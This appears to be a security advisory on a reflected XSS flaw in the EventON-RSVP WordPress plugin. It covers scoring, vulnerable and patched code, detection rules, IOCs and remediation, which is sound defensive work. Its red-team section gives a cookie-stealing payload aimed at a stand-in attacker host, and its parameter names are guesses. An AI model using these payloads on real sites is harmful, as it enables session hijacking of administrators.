CVE-2023-7170

Executive Summary

CVE-2023-7170 is a Reflected Cross-Site Scripting (XSS) vulnerability in the EventON-RSVP WordPress plugin (versions before 2.9.5). The plugin fails to properly sanitize and escape user-supplied parameters before outputting them back in the page. This allows an attacker to inject arbitrary JavaScript code, which can be executed in the context of a high-privilege user (e.g., administrator) if they click a crafted link. Successful exploitation can lead to session hijacking, credential theft, or complete site compromise.

This vulnerability is classified as a WordPress ecosystem issue, specifically affecting the EventON-RSVP plugin. It is not related to Apache or Nginx server configurations.

Supply Chain & Package Security

This vulnerability is part of the WordPress plugin supply chain. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users must ensure they are sourcing the plugin from a trusted vendor and applying updates promptly. No known malicious packages have been identified in the official repository, but the risk of supply chain attacks increases if users download from unofficial sources.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability to target high-privilege users significantly increases the potential impact. An attacker could use this to gain administrative access to the WordPress site.

Deep Dive & Mechanics

The vulnerability resides in the eventon-rsvp plugin's handling of HTTP GET parameters. The plugin outputs user-supplied data (likely from parameters like eid, event_id, or similar) directly into the HTML response without proper sanitization or escaping. This is a classic Reflected XSS flaw.

Attack Flow:

1. An attacker crafts a malicious URL containing JavaScript payload in a vulnerable parameter.
2. The attacker sends this URL to a high-privilege user (e.g., via phishing email, social media, or a compromised site).
3. The victim, logged into WordPress as an admin, clicks the link.
4. The plugin processes the request and reflects the malicious payload in the response.
5. The victim's browser executes the injected JavaScript.
6. The attacker can then perform actions such as creating new admin accounts, exfiltrating session cookies, or modifying site content.

Root Cause: The plugin uses functions like echo $_GET['param'] or similar without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.9.5):

// Example vulnerable snippet
$event_id = $_GET['eid'];
echo "<div class='eventon-rsvp-data' data-event-id='$event_id'>";

Patched Code (version 2.9.5):

// Patched snippet
$event_id = isset($_GET['eid']) ? sanitize_text_field($_GET['eid']) : '';
echo "<div class='eventon-rsvp-data' data-event-id='" . esc_attr($event_id) . "'>";

The patch introduces sanitize_text_field() to strip malicious input and esc_attr() to safely output the value in an HTML attribute context.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running EventON-RSVP < 2.9.5.
• A victim user with administrative privileges.

Exploit Payload:

https://target-site.com/?eid=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

https://target-site.com/?eid=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>

Steps:

1. Identify a vulnerable parameter (e.g., eid, event_id, rsvp_id).
2. Craft a URL with a JavaScript payload.
3. Use social engineering to trick an admin into clicking the link.
4. Upon click, the payload executes in the admin's browser.

Note: No public exploit-db code or nuclei template is available for this CVE.

Blue Team (Detection & Prevention)

Detection:

• Monitor web server logs for requests containing suspicious patterns like <script>, onerror=, javascript: in GET parameters.
• Use WAF rules to block reflected XSS attempts.
• Implement Content Security Policy (CSP) headers to mitigate impact.

Prevention:

• Immediately update the plugin to version 2.9.5 or later.
• Apply WordPress hardening: disable file editing, use strong passwords, enable two-factor authentication.
• Regularly audit plugins for known vulnerabilities.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests containing eid=<script> or similar XSS patterns.
• Outbound connections to attacker-controlled domains from the WordPress admin panel.

Host IOCs:

• Unexpected admin user accounts created.
• Modified WordPress files (e.g., functions.php, plugin files).
• Suspicious entries in wp_options table (e.g., malicious redirects).

Log IOCs:

• Web server logs showing 200 responses to URLs with XSS payloads.
• WordPress debug logs showing errors from the eventon-rsvp plugin.

Detection Engineering

YARA Rule

rule CVE_2023_7170_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting EventON-RSVP plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-7170"
    strings:
        $xss_payload = /[?&](eid|event_id|rsvp_id)=[^&]*<script/i
        $xss_onerror = /[?&](eid|event_id|rsvp_id)=[^&]*onerror=/i
        $xss_alert = /[?&](eid|event_id|rsvp_id)=[^&]*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against EventON-RSVP Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting EventON-RSVP vulnerable parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'eid=<script'
            - 'event_id=<script'
            - 'rsvp_id=<script'
            - 'eid=javascript:'
            - 'event_id=onerror='
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2023.7170

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-7170 EventON-RSVP Reflected XSS Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"eid="; http_uri;
    pcre:"/(<script|onerror=|javascript:)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2023-7170;
)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 2.9.5 or later. This is the only complete fix.
2. If immediate update is not possible, disable the plugin until patched.
3. Review user accounts for any unauthorized admin-level access.
4. Rotate all admin passwords and API keys.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers.
• Conduct regular security audits of all plugins.
• Subscribe to WordPress security advisories.

Workaround (if patching is delayed):

• Add the following to .htaccess to block malicious requests:

RewriteEngine On
RewriteCond %{QUERY_STRING} (eid|event_id|rsvp_id)=.*<script [NC,OR]
RewriteCond %{QUERY_STRING} (eid|event_id|rsvp_id)=.*onerror= [NC,OR]
RewriteCond %{QUERY_STRING} (eid|event_id|rsvp_id)=.*javascript: [NC]
RewriteRule ^ - [F,L]

Valters IT
Securing Digital Frontiers